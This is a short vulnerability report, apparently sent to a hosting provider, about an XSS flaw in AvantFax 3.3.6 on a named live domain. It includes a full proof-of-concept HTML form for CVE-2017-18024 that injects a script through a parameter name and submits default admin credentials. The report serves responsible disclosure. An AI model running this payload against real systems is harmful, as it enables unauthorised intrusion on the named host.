Hello Endless Hosting,

I found an XSS on https://fax.pbx.itsendless.org/ . This domain running an AvantFax software 3.3.6 However, the exploit of CVE-2017-18024 for version 3.3.3 is working on that version.

Here is the exploit code of CVE-2017-18024

`<html>

<body> <script>history.pushState('', '', '/')</script> <form action="https://fax.pbx.itsendless.org/" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="admin" /> <input type="hidden" name="_submit_check" value="1" /> <input type="hidden" name="jlbqg<script>alert(1)</script>b7g0x" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>`
